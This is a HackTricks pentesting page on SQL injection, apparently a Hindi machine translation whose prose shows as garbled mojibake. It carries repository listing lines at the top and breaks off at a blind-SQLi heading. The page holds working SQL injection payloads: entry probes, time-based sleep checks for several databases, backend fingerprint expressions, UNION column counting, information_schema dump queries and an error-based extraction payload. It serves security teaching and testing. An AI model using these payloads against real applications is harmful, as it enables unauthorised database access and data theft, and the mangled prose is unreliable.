hacktricks/pentesting-web/sql-injection
2024-09-18 16:23:37 +00:00
..
mysql-injection Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:20:41 +00:00
postgresql-injection Translated ['binary-exploitation/libc-heap/README.md', 'binary-exploitat 2024-09-18 16:23:37 +00:00
sqlmap Translated ['pentesting-web/sql-injection/README.md', 'pentesting-web/sq 2024-09-08 10:54:29 +00:00
cypher-injection-neo4j.md Translated ['macos-hardening/macos-security-and-privilege-escalation/mac 2024-07-19 16:30:53 +00:00
ms-access-sql-injection.md Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:20:41 +00:00
mssql-injection.md Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:20:41 +00:00
oracle-injection.md Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:20:41 +00:00
README.md Translated ['pentesting-web/sql-injection/README.md', 'pentesting-web/sq 2024-09-08 10:54:29 +00:00
sqlmap.md Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:20:41 +00:00

SQL Injection

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

тАЛтАЛтАЛтАЛRootedCON рд╕реНрдкреЗрди рдореЗрдВ рд╕рдмрд╕реЗ рдкреНрд░рд╛рд╕рдВрдЧрд┐рдХ рд╕рд╛рдЗрдмрд░ рд╕реБрд░рдХреНрд╖рд╛ рдХрд╛рд░реНрдпрдХреНрд░рдо рд╣реИ рдФрд░ рдпреВрд░реЛрдк рдореЗрдВ рд╕рдмрд╕реЗ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдореЗрдВ рд╕реЗ рдПрдХ рд╣реИред рддрдХрдиреАрдХреА рдЬреНрдЮрд╛рди рдХреЛ рдмрдврд╝рд╛рд╡рд╛ рджреЗрдиреЗ рдХреЗ рдорд┐рд╢рди рдХреЗ рд╕рд╛рде, рдпрд╣ рдХрд╛рдВрдЧреНрд░реЗрд╕ рд╣рд░ рдЕрдиреБрд╢рд╛рд╕рди рдореЗрдВ рдкреНрд░реМрджреНрдпреЛрдЧрд┐рдХреА рдФрд░ рд╕рд╛рдЗрдмрд░ рд╕реБрд░рдХреНрд╖рд╛ рдкреЗрд╢реЗрд╡рд░реЛрдВ рдХреЗ рд▓рд┐рдП рдПрдХ рдЙрдмрд╛рд▓рддрд╛ рд╣реБрдЖ рдмреИрдардХ рдмрд┐рдВрджреБ рд╣реИред

{% embed url="https://www.rootedcon.com/" %}

SQL injection рдХреНрдпрд╛ рд╣реИ?

рдПрдХ SQL injection рдПрдХ рд╕реБрд░рдХреНрд╖рд╛ рджреЛрд╖ рд╣реИ рдЬреЛ рд╣рдорд▓рд╛рд╡рд░реЛрдВ рдХреЛ рдПрдХ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ рдбреЗрдЯрд╛рдмреЗрд╕ рдХреНрд╡реЗрд░реА рдореЗрдВ рд╣рд╕реНрддрдХреНрд╖реЗрдк рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдпрд╣ рднреЗрджреНрдпрддрд╛ рд╣рдорд▓рд╛рд╡рд░реЛрдВ рдХреЛ рджреЗрдЦрдиреЗ, рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдиреЗ рдпрд╛ рд╣рдЯрд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗ рд╕рдХрддреА рд╣реИ, рдЬреЛ рдЙрдиреНрд╣реЗрдВ рдирд╣реАрдВ рджреЗрдЦрдиреА рдЪрд╛рд╣рд┐рдП, рдЬрд┐рд╕рдореЗрдВ рдЕрдиреНрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреА рдЬрд╛рдирдХрд╛рд░реА рдпрд╛ рдХреЛрдИ рднреА рдбреЗрдЯрд╛ рд╢рд╛рдорд┐рд▓ рд╣реИ рдЬрд┐рд╕реЗ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдПрдХреНрд╕реЗрд╕ рдХрд░ рд╕рдХрддрд╛ рд╣реИред рдРрд╕реЗ рдХрд╛рд░реНрдп рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреА рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдпрд╛ рд╕рд╛рдордЧреНрд░реА рдореЗрдВ рд╕реНрдерд╛рдпреА рдкрд░рд┐рд╡рд░реНрддрди рдпрд╛ рдпрд╣рд╛рдВ рддрдХ рдХрд┐ рд╕рд░реНрд╡рд░ рдХрд╛ рд╕рдордЭреМрддрд╛ рдпрд╛ рд╕реЗрд╡рд╛ рдХрд╛ рдЗрдирдХрд╛рд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

рдкреНрд░рд╡реЗрд╢ рдмрд┐рдВрджреБ рдкрд╣рдЪрд╛рди

рдЬрдм рдПрдХ рд╕рд╛рдЗрдЯ SQL injection (SQLi) рдХреЗ рд▓рд┐рдП рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдкреНрд░рддреАрдд рд╣реЛрддреА рд╣реИ, рддреЛ SQLi-рд╕рдВрдмрдВрдзрд┐рдд рдЗрдирдкреБрдЯ рдХреЗ рдкреНрд░рддрд┐ рдЕрд╕рд╛рдорд╛рдиреНрдп рд╕рд░реНрд╡рд░ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЗ рдХрд╛рд░рдг, рдкрд╣рд▓рд╛ рдХрджрдо рдпрд╣ рд╕рдордЭрдирд╛ рд╣реИ рдХрд┐ рдХреНрд╡реЗрд░реА рдореЗрдВ рдбреЗрдЯрд╛ рдХреЛ рдмрд┐рдирд╛ рдмрд╛рдзрд┐рдд рдХрд┐рдП рдХреИрд╕реЗ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░реЗрдВред рдЗрд╕рдХреЗ рд▓рд┐рдП рд╡рд░реНрддрдорд╛рди рд╕рдВрджрд░реНрдн рд╕реЗ рд╕рдлрд▓рддрд╛ рд╕реЗ рдмрдЪрдиреЗ рдХреЗ рддрд░реАрдХреЗ рдХреА рдкрд╣рдЪрд╛рди рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИред
рдпреЗ рдХреБрдЫ рдЙрдкрдпреЛрдЧреА рдЙрджрд╛рд╣рд░рдг рд╣реИрдВ:

[Nothing]
'
"
`
')
")
`)
'))
"))
`))

рдлрд┐рд░, рдЖрдкрдХреЛ рдпрд╣ рдЬрд╛рдирдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ рдХрд┐ рдХреНрд╡реЗрд░реА рдХреЛ рдХреИрд╕реЗ рдареАрдХ рдХрд░реЗрдВ рддрд╛рдХрд┐ рдХреЛрдИ рддреНрд░реБрдЯрд┐рдпрд╛рдБ рди рд╣реЛрдВред рдХреНрд╡реЗрд░реА рдХреЛ рдареАрдХ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдк рдбреЗрдЯрд╛ рдЗрдирдкреБрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдкрд┐рдЫрд▓реА рдХреНрд╡реЗрд░реА рдирдП рдбреЗрдЯрд╛ рдХреЛ рд╕реНрд╡реАрдХрд╛рд░ рдХрд░реЗ, рдпрд╛ рдЖрдк рдмрд╕ рдЕрдкрдирд╛ рдбреЗрдЯрд╛ рдЗрдирдкреБрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЕрдВрдд рдореЗрдВ рдПрдХ рдЯрд┐рдкреНрдкрдгреА рдкреНрд░рддреАрдХ рдЬреЛрдбрд╝ рд╕рдХрддреЗ рд╣реИрдВред

рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрджрд┐ рдЖрдк рддреНрд░реБрдЯрд┐ рд╕рдВрджреЗрд╢ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдпрд╛ рдЬрдм рдХреНрд╡реЗрд░реА рдХрд╛рдо рдХрд░ рд░рд╣реА рд╣реИ рдФрд░ рдЬрдм рдпрд╣ рдХрд╛рдо рдирд╣реАрдВ рдХрд░ рд░рд╣реА рд╣реИ рддреЛ рдЖрдк рдЕрдВрддрд░ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ рдпрд╣ рдЪрд░рдг рдЕрдзрд┐рдХ рдЖрд╕рд╛рди рд╣реЛрдЧрд╛ред

Comments

MySQL
#comment
-- comment     [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */

PostgreSQL
--comment
/*comment*/

MSQL
--comment
/*comment*/

Oracle
--comment

SQLite
--comment
/*comment*/

HQL
HQL does not support comments

Confirming with logical operations

SQL injection vulnerability рдХреА рдкреБрд╖реНрдЯрд┐ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рд╡рд┐рдзрд┐ logical operation рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдирд╛ рдФрд░ рдЕрдкреЗрдХреНрд╖рд┐рдд рдкрд░рд┐рдгрд╛рдореЛрдВ рдХрд╛ рдЕрд╡рд▓реЛрдХрди рдХрд░рдирд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдПрдХ GET рдкреИрд░рд╛рдореАрдЯрд░ рдЬреИрд╕реЗ ?username=Peter рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдиреЗ рдкрд░ ?username=Peter' рдпрд╛ '1'='1 рд╕рдорд╛рди рд╕рд╛рдордЧреНрд░реА рдЙрддреНрдкрдиреНрди рдХрд░рдирд╛ SQL injection vulnerability рдХрд╛ рд╕рдВрдХреЗрдд рджреЗрддрд╛ рд╣реИред

рдЗрд╕реА рддрд░рд╣, mathematical operations рдХрд╛ рдЙрдкрдпреЛрдЧ рдПрдХ рдкреНрд░рднрд╛рд╡реА рдкреБрд╖реНрдЯрд┐ рддрдХрдиреАрдХ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдпрджрд┐ ?id=1 рдФрд░ ?id=2-1 рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдкрд░ рд╕рдорд╛рди рдкрд░рд┐рдгрд╛рдо рдЙрддреНрдкрдиреНрди рд╣реЛрддреЗ рд╣реИрдВ, рддреЛ рдпрд╣ SQL injection рдХрд╛ рд╕рдВрдХреЗрдд рд╣реИред

Examples demonstrating logical operation confirmation:

page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false

рдпрд╣ рд╢рдмреНрдж-рд╕реВрдЪреА SQLinjections рдХреЛ рдкреНрд░рд╕реНрддрд╛рд╡рд┐рдд рддрд░реАрдХреЗ рд╕реЗ рдкреБрд╖реНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдмрдирд╛рдИ рдЧрдИ рдереА:

{% file src="../../.gitbook/assets/sqli-logic.txt" %}

рд╕рдордп рдХреЗ рд╕рд╛рде рдкреБрд╖реНрдЯрд┐ рдХрд░рдирд╛

рдХреБрдЫ рдорд╛рдорд▓реЛрдВ рдореЗрдВ рдЖрдк рдкреГрд╖реНрда рдкрд░ рдХреЛрдИ рдкрд░рд┐рд╡рд░реНрддрди рдирд╣реАрдВ рджреЗрдЦреЗрдВрдЧреЗ рдЬрд┐рд╕реЗ рдЖрдк рдкрд░реАрдХреНрд╖рдг рдХрд░ рд░рд╣реЗ рд╣реИрдВред рдЗрд╕рд▓рд┐рдП, рдмреНрд▓рд╛рдЗрдВрдб SQL injections рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХрд╛ рдПрдХ рдЕрдЪреНрдЫрд╛ рддрд░реАрдХрд╛ рд╣реИ рдХрд┐ DB рдХреЛ рдХреНрд░рд┐рдпрд╛рдПрдБ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдордЬрдмреВрд░ рдХрд░рдирд╛ рдФрд░ рдЗрд╕рд╕реЗ рдкреГрд╖реНрда рдХреЛ рд▓реЛрдб рдХрд░рдиреЗ рдореЗрдВ рд▓рдЧрдиреЗ рд╡рд╛рд▓реЗ рд╕рдордп рдкрд░ рдкреНрд░рднрд╛рд╡ рдкрдбрд╝реЗрдЧрд╛ред
рдЗрд╕рд▓рд┐рдП, рд╣рдо SQL рдХреНрд╡реЗрд░реА рдореЗрдВ рдПрдХ рдРрд╕рд╛ рдСрдкрд░реЗрд╢рди рдЬреЛрдбрд╝рдиреЗ рдЬрд╛ рд░рд╣реЗ рд╣реИрдВ рдЬреЛ рдкреВрд░рд╛ рд╣реЛрдиреЗ рдореЗрдВ рдмрд╣реБрдд рд╕рдордп рд▓реЗрдЧрд╛:

MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)

PostgreSQL (only support string concat)
1' || pg_sleep(10)

MSQL
1' WAITFOR DELAY '0:0:10'

Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)

SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))

рдХреБрдЫ рдорд╛рдорд▓реЛрдВ рдореЗрдВ sleep functions рдХреА рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рд╣реЛрдЧреАред рдлрд┐рд░, рдЙрди рдлрд╝рдВрдХреНрд╢рдиреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рдмрдЬрд╛рдп, рдЖрдк рдХреНрд╡реЗрд░реА рдХреЛ рдЬрдЯрд┐рд▓ рдСрдкрд░реЗрд╢рдВрд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рдХрдИ рд╕реЗрдХрдВрдб рд▓реЗрдЧреАред рдЗрди рддрдХрдиреАрдХреЛрдВ рдХреЗ рдЙрджрд╛рд╣рд░рдгреЛрдВ рдХреЛ рдкреНрд░рддреНрдпреЗрдХ рддрдХрдиреАрдХ рдкрд░ рдЕрд▓рдЧ рд╕реЗ рдЯрд┐рдкреНрдкрдгреА рдХреА рдЬрд╛рдПрдЧреА (рдпрджрд┐ рдХреЛрдИ рд╣реЛ)ред

рдмреИрдХ-рдПрдВрдб рдХреА рдкрд╣рдЪрд╛рди рдХрд░рдирд╛

рдмреИрдХ-рдПрдВрдб рдХреА рдкрд╣рдЪрд╛рди рдХрд░рдиреЗ рдХрд╛ рд╕рдмрд╕реЗ рдЕрдЪреНрдЫрд╛ рддрд░реАрдХрд╛ рд╡рд┐рднрд┐рдиреНрди рдмреИрдХ-рдПрдВрдб рдХреЗ рдлрд╝рдВрдХреНрд╢рдВрд╕ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рдирд╛ рд╣реИред рдЖрдк рдкрд┐рдЫрд▓реЗ рдЕрдиреБрднрд╛рдЧ рдХреЗ sleep functions рдпрд╛ рдЗрдирдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рддрд╛рд▓рд┐рдХрд╛ payloadsallthethings:

["conv('a',16,2)=conv('a',16,2)"                   ,"MYSQL"],
["connection_id()=connection_id()"                 ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')"                   ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)"       ,"MSSQL"],
["@@CONNECTIONS>0"                                 ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS"                     ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY"                           ,"MSSQL"],
["USER_ID(1)=USER_ID(1)"                           ,"MSSQL"],
["ROWNUM=ROWNUM"                                   ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')"                   ,"ORACLE"],
["LNNVL(0=123)"                                    ,"ORACLE"],
["5::int=5"                                        ,"POSTGRESQL"],
["5::integer=5"                                    ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()"       ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)"         ,"POSTGRESQL"],
["current_database()=current_database()"           ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()"               ,"SQLITE"],
["last_insert_rowid()>1"                           ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()"         ,"SQLITE"],
["val(cvar(1))=1"                                  ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0"               ,"MSACCESS"],
["cdbl(1)=cdbl(1)"                                 ,"MSACCESS"],
["1337=1337",   "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'",     "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],

Also, if you have access to the output of the query, you could make it print the version of the database.

{% hint style="info" %} рдПрдХ рдирд┐рд░рдВрддрд░рддрд╛ рдореЗрдВ рд╣рдо рд╡рд┐рднрд┐рдиреНрди рдкреНрд░рдХрд╛рд░ рдХреЗ SQL Injection рдХрд╛ рд╢реЛрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╡рд┐рднрд┐рдиреНрди рддрд░реАрдХреЛрдВ рдкрд░ рдЪрд░реНрдЪрд╛ рдХрд░рдиреЗ рдЬрд╛ рд░рд╣реЗ рд╣реИрдВред рд╣рдо рдЙрджрд╛рд╣рд░рдг рдХреЗ рд░реВрдк рдореЗрдВ MySQL рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВрдЧреЗред {% endhint %}

Identifying with PortSwigger

{% embed url="https://portswigger.net/web-security/sql-injection/cheat-sheet" %}

Exploiting Union Based

Detecting number of columns

If you can see the output of the query this is the best way to exploit it.
First of all, рд╣рдореЗрдВ рдпрд╣ рдкрддрд╛ рд▓рдЧрд╛рдирд╛ рд╣реИ рдХрд┐ рдкреНрд░рд╛рд░рдВрднрд┐рдХ рдЕрдиреБрд░реЛрдз рдХрд┐рддрдиреЗ рд╕реНрддрдВрдн рд▓реМрдЯрд╛ рд░рд╣рд╛ рд╣реИред рдЗрд╕рдХрд╛ рдХрд╛рд░рдг рдпрд╣ рд╣реИ рдХрд┐ рджреЛрдиреЛрдВ рдкреНрд░рд╢реНрдиреЛрдВ рдХреЛ рд╕рдорд╛рди рд╕рдВрдЦреНрдпрд╛ рдореЗрдВ рд╕реНрддрдВрдн рд▓реМрдЯрд╛рдиреЗ рдЪрд╛рд╣рд┐рдПред
рдЗрд╕ рдЙрджреНрджреЗрд╢реНрдп рдХреЗ рд▓рд┐рдП рдЖрдорддреМрд░ рдкрд░ рджреЛ рд╡рд┐рдзрд┐рдпреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ:

Order/Group by

To determine the number of columns in a query, incrementally adjust the number used in ORDER BY or GROUP BY clauses until a false response is received. Despite the distinct functionalities of GROUP BY and ORDER BY within SQL, both can be utilized identically for ascertaining the query's column count.

1' ORDER BY 1--+    #True
1' ORDER BY 2--+    #True
1' ORDER BY 3--+    #True
1' ORDER BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True
1' GROUP BY 1--+    #True
1' GROUP BY 2--+    #True
1' GROUP BY 3--+    #True
1' GROUP BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True

UNION SELECT

рдХреНрд╡реЗрд░реА рд╕рд╣реА рд╣реЛрдиреЗ рддрдХ рдЕрдзрд┐рдХ рд╕реЗ рдЕрдзрд┐рдХ рдирд▓ рдорд╛рди рдЪреБрдиреЗрдВ:

1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked

рдЖрдкрдХреЛ null рдорд╛рдиреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдП рдХреНрдпреЛрдВрдХрд┐ рдХреБрдЫ рдорд╛рдорд▓реЛрдВ рдореЗрдВ рдХреНрд╡реЗрд░реА рдХреЗ рджреЛрдиреЛрдВ рдкрдХреНрд╖реЛрдВ рдХреЗ рдХреЙрд▓рдо рдХрд╛ рдкреНрд░рдХрд╛рд░ рд╕рдорд╛рди рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП рдФрд░ null рд╣рд░ рдорд╛рдорд▓реЗ рдореЗрдВ рдорд╛рдиреНрдп рд╣реИред

рдбреЗрдЯрд╛рдмреЗрд╕ рдирд╛рдо, рддрд╛рд▓рд┐рдХрд╛ рдирд╛рдо рдФрд░ рдХреЙрд▓рдо рдирд╛рдо рдирд┐рдХрд╛рд▓реЗрдВ

рдЕрдЧрд▓реЗ рдЙрджрд╛рд╣рд░рдгреЛрдВ рдореЗрдВ рд╣рдо рд╕рднреА рдбреЗрдЯрд╛рдмреЗрд╕ рдХреЗ рдирд╛рдо, рдПрдХ рдбреЗрдЯрд╛рдмреЗрд╕ рдХреА рддрд╛рд▓рд┐рдХрд╛ рдХрд╛ рдирд╛рдо, рддрд╛рд▓рд┐рдХрд╛ рдХреЗ рдХреЙрд▓рдо рдирд╛рдо рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдЬрд╛ рд░рд╣реЗ рд╣реИрдВ:

#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata

#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]

#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]

рд╣рд░ рдЕрд▓рдЧ-рдЕрд▓рдЧ рдбреЗрдЯрд╛рдмреЗрд╕ рдкрд░ рдЗрд╕ рдбреЗрдЯрд╛ рдХреЛ рдЦреЛрдЬрдиреЗ рдХрд╛ рдПрдХ рдЕрд▓рдЧ рддрд░реАрдХрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдпрд╣ рд╣рдореЗрд╢рд╛ рдПрдХ рд╣реА рдкрджреНрдзрддрд┐ рд╣реЛрддреА рд╣реИред

рдЫрд┐рдкреЗ рд╣реБрдП рдпреВрдирд┐рдпрди рдЖрдзрд╛рд░рд┐рдд рдХрд╛ рд╢реЛрд╖рдг

рдЬрдм рдПрдХ рдХреНрд╡реЗрд░реА рдХрд╛ рдЖрдЙрдЯрдкреБрдЯ рджрд┐рдЦрд╛рдИ рджреЗрддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдпреВрдирд┐рдпрди-рдЖрдзрд╛рд░рд┐рдд рдЗрдВрдЬреЗрдХреНрд╢рди рдЕрд╕рдВрднрд╡ рд▓рдЧрддрд╛ рд╣реИ, рддреЛ рдпрд╣ рдЫрд┐рдкреЗ рд╣реБрдП рдпреВрдирд┐рдпрди-рдЖрдзрд╛рд░рд┐рдд рдЗрдВрдЬреЗрдХреНрд╢рди рдХреА рдЙрдкрд╕реНрдерд┐рддрд┐ рдХрд╛ рд╕рдВрдХреЗрдд рджреЗрддрд╛ рд╣реИред рдпрд╣ рдкрд░рд┐рджреГрд╢реНрдп рдЕрдХреНрд╕рд░ рдПрдХ рдмреНрд▓рд╛рдЗрдВрдб рдЗрдВрдЬреЗрдХреНрд╢рди рд╕реНрдерд┐рддрд┐ рдХреА рдУрд░ рд▓реЗ рдЬрд╛рддрд╛ рд╣реИред рдПрдХ рдмреНрд▓рд╛рдЗрдВрдб рдЗрдВрдЬреЗрдХреНрд╢рди рдХреЛ рдпреВрдирд┐рдпрди-рдЖрдзрд╛рд░рд┐рдд рдореЗрдВ рдмрджрд▓рдиреЗ рдХреЗ рд▓рд┐рдП, рдмреИрдХрдПрдВрдб рдкрд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХреНрд╡реЗрд░реА рдХреЛ рдкрд╣рдЪрд╛рдирдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИред

рдпрд╣ рдЖрдкрдХреЗ рд▓рдХреНрд╖рд┐рдд рдбреЗрдЯрд╛рдмреЗрд╕ рдкреНрд░рдмрдВрдзрди рдкреНрд░рдгрд╛рд▓реА (DBMS) рдХреЗ рд▓рд┐рдП рд╡рд┐рд╢рд┐рд╖реНрдЯ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рддрд╛рд▓рд┐рдХрд╛рдУрдВ рдХреЗ рд╕рд╛рде рдмреНрд▓рд╛рдЗрдВрдб рдЗрдВрдЬреЗрдХреНрд╢рди рддрдХрдиреАрдХреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЗрди рдбрд┐рдлрд╝реЙрд▓реНрдЯ рддрд╛рд▓рд┐рдХрд╛рдУрдВ рдХреЛ рд╕рдордЭрдиреЗ рдХреЗ рд▓рд┐рдП, рд▓рдХреНрд╖рд┐рдд DBMS рдХреА рджрд╕реНрддрд╛рд╡реЗрдЬрд╝реАрдХрд░рдг рдХреА рд╕рд▓рд╛рд╣ рджреА рдЬрд╛рддреА рд╣реИред

рдПрдХ рдмрд╛рд░ рдЬрдм рдХреНрд╡реЗрд░реА рдирд┐рдХрд╛рд▓реА рдЬрд╛рддреА рд╣реИ, рддреЛ рдЖрдкрдХреЗ рдкреЗрд▓реЛрдб рдХреЛ рдореВрд▓ рдХреНрд╡реЗрд░реА рдХреЛ рд╕реБрд░рдХреНрд╖рд┐рдд рд░реВрдк рд╕реЗ рдмрдВрдж рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдиреБрдХреВрд▓рд┐рдд рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИред рдЗрд╕рдХреЗ рдмрд╛рдж, рдЖрдкрдХреЗ рдкреЗрд▓реЛрдб рдореЗрдВ рдПрдХ рдпреВрдирд┐рдпрди рдХреНрд╡реЗрд░реА рдЬреЛрдбрд╝реА рдЬрд╛рддреА рд╣реИ, рдЬреЛ рдирдП рд╕реБрд▓рдн рдпреВрдирд┐рдпрди-рдЖрдзрд╛рд░рд┐рдд рдЗрдВрдЬреЗрдХреНрд╢рди рдХреЗ рд╢реЛрд╖рдг рдХреА рд╕реБрд╡рд┐рдзрд╛ рдкреНрд░рджрд╛рди рдХрд░рддреА рд╣реИред

рдЕрдзрд┐рдХ рд╡реНрдпрд╛рдкрдХ рдЕрдВрддрд░реНрджреГрд╖реНрдЯрд┐ рдХреЗ рд▓рд┐рдП, Healing Blind Injections рдкрд░ рдЙрдкрд▓рдмреНрдз рдкреВрд░реНрдг рд▓реЗрдЦ рдХреЛ рджреЗрдЦреЗрдВред

рддреНрд░реБрдЯрд┐ рдЖрдзрд╛рд░рд┐рдд рдХрд╛ рд╢реЛрд╖рдг

рдпрджрд┐ рдХрд┐рд╕реА рдХрд╛рд░рдгрд╡рд╢ рдЖрдк рдХреНрд╡реЗрд░реА рдХрд╛ рдЖрдЙрдЯрдкреБрдЯ рдирд╣реАрдВ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рд▓реЗрдХрд┐рди рдЖрдк рддреНрд░реБрдЯрд┐ рд╕рдВрджреЗрд╢ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рдЗрди рддреНрд░реБрдЯрд┐ рд╕рдВрджреЗрд╢реЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдбреЗрдЯрд╛рдмреЗрд╕ рд╕реЗ рдбреЗрдЯрд╛ рдХреЛ рдПрдХреНрд╕-рдлрд┐рд▓реНрдЯреНрд░реЗрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
рдпреВрдирд┐рдпрди рдЖрдзрд╛рд░рд┐рдд рд╢реЛрд╖рдг рдореЗрдВ рд╕рдорд╛рди рдкреНрд░рд╡рд╛рд╣ рдХрд╛ рдкрд╛рд▓рди рдХрд░рддреЗ рд╣реБрдП, рдЖрдк DB рдХреЛ рдбрдВрдк рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред

(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))

Exploiting Blind SQLi

